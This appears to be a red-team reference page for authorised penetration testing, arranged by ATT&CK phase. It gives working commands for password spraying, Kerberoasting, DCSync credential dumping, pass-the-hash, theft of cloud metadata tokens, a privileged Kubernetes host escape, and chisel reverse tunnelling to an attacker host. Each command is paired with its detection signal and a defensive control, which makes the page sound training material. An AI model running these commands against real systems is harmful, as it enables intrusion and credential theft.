Security and identity
Red team
Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.
Authorised testing only
Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.
Cheatsheet #
| Task | Command |
|---|---|
| Subdomains, passive | subfinder -d example.com -silent |
| Resolve and probe | httpx -l hosts.txt -sc -title -tech-detect |
| Port sweep, fast | nmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24 |
| Service and version detail | nmap -sV -sC -p 22,80,443 target -oA svc |
| Web content discovery | ffuf -u https://target/FUZZ -w list.txt -mc 200,301,403 |
| SMB enumeration | netexec smb 10.0.0.0/24 -u '' -p '' --shares |
| LDAP enumeration | ldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com' |
| Kerberos user list | kerbrute userenum -d example.com users.txt |
| Hash cracking | hashcat -m 13100 hashes.txt rockyou.txt |
| Credential spray, slow | netexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success |
| Local privesc checks | linpeas.sh, winPEASx64.exe |
| AD attack paths | BloodHound with SharpHound/bloodhound-python |
| SOCKS through a host | chisel client attacker:8080 R:socks |
| Route tools through it | proxychains4 -q nmap -sT -Pn target |
Ground rules #
Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps — the client’s detection team needs to correlate, and you need to prove what you did and did not do.
Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.
| Discipline | Practice |
|---|---|
| Deconfliction | Timestamped command log, attacker source addresses shared with the blue team |
| Data handling | Screenshot proof, not bulk data exfiltration; store evidence encrypted |
| Credentials | Never reuse client credentials outside the engagement; destroy at report delivery |
| Blast radius | No denial of service, no destructive changes, no production data modification |
| Cleanup | Remove implants, accounts and scheduled tasks; list them in the report regardless |
Reconnaissance #
| Technique | Command | Detection signal |
|---|---|---|
| Passive subdomains | subfinder -d example.com -all -silent | None — certificate transparency and public sources |
| Certificate transparency | curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u | None |
| DNS zone data | dig axfr example.com @ns1.example.com | Zone transfer attempt logged by the DNS server |
| Live web hosts | httpx -l hosts.txt -sc -title -tech-detect -o web.txt | Web access logs, unusual user agent |
| Port discovery | nmap -sS -Pn --min-rate 2000 -p- target | IDS scan signatures, firewall connection counts |
| Service fingerprint | nmap -sV -sC -p- --open target | Banner grabs, versioned probes |
| Content discovery | ffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404 | 404 flood in web logs, WAF rate limits |
| Cloud asset discovery | cloud_enum -k example | Provider access logs, bucket access denied events |
| Credential exposure | Public breach data, git log -S 'password' in cloned repositories | None externally |
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txtInitial access #
| Vector | Notes | Detection signal |
|---|---|---|
| Exposed service with a known CVE | Verify the version before firing anything | Exploit signature, service crash, patch-level mismatch |
| Default or reused credentials | Spray slowly, respect lockout policy | Failed logon bursts (4625), lockouts |
| Exposed admin interfaces | Jenkins, Grafana, Kibana, Docker API, Kubernetes API | Unusual source address on a management port |
| Phishing (if in scope) | Payload and pretext agreed in writing beforehand | Mail gateway logs, attachment detonation, user report |
| Supply chain of your own tooling | Out of scope for almost every engagement | — |
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforcePassword spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.
Execution and persistence #
| Technique | Where | Detection signal |
|---|---|---|
| Scheduled task / cron | schtasks /create, crontab -e | Task creation events (4698), /var/log/cron |
| systemd unit or timer | /etc/systemd/system/*.service | New unit files, systemd-analyze diffs |
| Service creation | sc.exe create | 7045 service installed |
| Run key | HKCU\...\Run | Registry autorun monitoring |
| SSH authorized_keys | Append a key to a service account | File integrity monitoring, key fingerprint audit |
| Container or cluster | CronJob, mutating webhook, privileged DaemonSet | Kubernetes audit log, admission controller |
| CI/CD | Pipeline step or self-hosted runner | Pipeline definition diff, runner registration |
# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'Any cluster that allows that pod should fail its own admission policy review. Test it, capture the result, and check whether the audit log shows it.
Privilege escalation #
| Check | Command | Why it works |
|---|---|---|
| Sudo rules | sudo -l | Misconfigured NOPASSWD on an interpreter or editor |
| SUID binaries | find / -perm -4000 -type f 2>/dev/null | Unexpected SUID with a shell escape (GTFOBins) |
| Writable service units | find /etc/systemd -writable 2>/dev/null | Root executes what you can edit |
| Capabilities | getcap -r / 2>/dev/null | cap_setuid, cap_dac_override on a binary |
| Cron jobs | cat /etc/crontab; ls -la /etc/cron.* | Writable script or wildcard injection |
| Kernel version | uname -a and known exploits | Unpatched local privilege escalation |
| Container escape | cat /proc/1/cgroup, check for privileged, hostPath, docker socket | The socket is root on the host |
| Cloud metadata | curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/ | Instance role often over-permissioned |
| Windows service paths | wmic service get name,pathname | Unquoted paths, writable binaries |
| Token privileges | whoami /priv | SeImpersonate leads to well-known escalations |
linpeas.sh -a 2>&1 | tee linpeas.txt # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'IMDSv2 (AWS) requires a token header, which is why an SSRF that reaches metadata on IMDSv1 is a critical finding and the same SSRF on v2 usually is not.
Credential access #
| Source | Technique | Detection signal |
|---|---|---|
| Kerberos service tickets | Kerberoasting: GetUserSPNs.py -request | 4769 for RC4 tickets, unusual SPN requests |
| Accounts without preauth | AS-REP roasting: GetNPUsers.py | 4768 with preauth disabled |
| LSASS memory | Dump and parse offline | EDR alert on process access to lsass.exe |
| SAM / SYSTEM hives | reg save then secretsdump.py LOCAL | Registry hive save events |
| NTDS.dit | ntdsutil snapshot, or secretsdump.py -just-dc | DCSync replication from a non-DC (4662) |
| Linux shadow file | Requires root already | File access auditing |
| Cloud credentials | ~/.aws/credentials, environment, instance role | CloudTrail credential use from a new address |
| Application secrets | .env, CI variables, unencrypted state files | Secret scanning, access to state buckets |
GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-passDCSync from anything that is not a domain controller is the single highest-value detection in a Windows environment. Test whether it alerts.
Discovery and lateral movement #
| Technique | Command | Detection signal |
|---|---|---|
| Domain mapping | bloodhound-python -d example.com -u u -p p -c All | Heavy LDAP queries from one host |
| Share enumeration | netexec smb 10.0.0.0/24 -u u -p p --shares | Mass SMB session setups |
| Interesting files | netexec smb targets -u u -p p -M spider_plus | File server access spike |
| Pass the hash | netexec smb target -u admin -H <nthash> | NTLM logon type 3 from an unusual host |
| Pass the ticket | export KRB5CCNAME=ticket.ccache; psexec.py -k -no-pass | Ticket use from a new source |
| WMI / WinRM execution | wmiexec.py, evil-winrm -i host -u u -H hash | 4688 process creation, WinRM logs |
| SSH pivoting | ssh -J bastion target, agent forwarding abuse | Auth logs, unusual jump patterns |
| Tunnelling | chisel server -p 8080 --reverse, then R:socks | Long-lived outbound connections to an unknown host |
chisel server -p 8080 --reverse & # attacker
chisel client attacker.example:8080 R:socks # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p pLateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.
Command and control #
| Choice | Trade-off |
|---|---|
| HTTPS beacon with long jitter | Blends with normal traffic; slow interaction |
| DNS | Works where nothing else does; very noisy to a resolver that logs |
| Cloud service as redirector | Reputation of a trusted domain; provider terms may prohibit it |
| Direct shell | Simple, immediate, trivially detected |
Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.
Exfiltration testing #
Demonstrate the path with canary data, not with the client’s real data. A file of known marker strings proves the control gap without creating a breach of your own.
| Channel | Control being tested |
|---|---|
| HTTPS POST to an external host | Egress filtering, TLS inspection, DLP |
| DNS queries | DNS logging and exfiltration detection |
| Cloud storage upload | Egress allow-lists, provider-side DLP |
| Email attachment | Mail DLP |
Reporting #
A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline — which steps were alerted on, which were not, and how long each took.
Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.
Defensive counterpart #
Every technique above has a control worth verifying while you are there:
| Area | Control |
|---|---|
| Identity | MFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts |
| Kerberos | Managed service accounts, AES only, no unconstrained delegation |
| Endpoint | EDR with tamper protection, application allow-listing, LSASS protection |
| Network | Egress filtering, internal segmentation, no flat management VLAN |
| Cloud | IMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting |
| Kubernetes | Pod Security admission, no privileged workloads, audit log shipped and alerted |
| Detection | Alerts for spraying, DCSync, new services, and outbound beacons |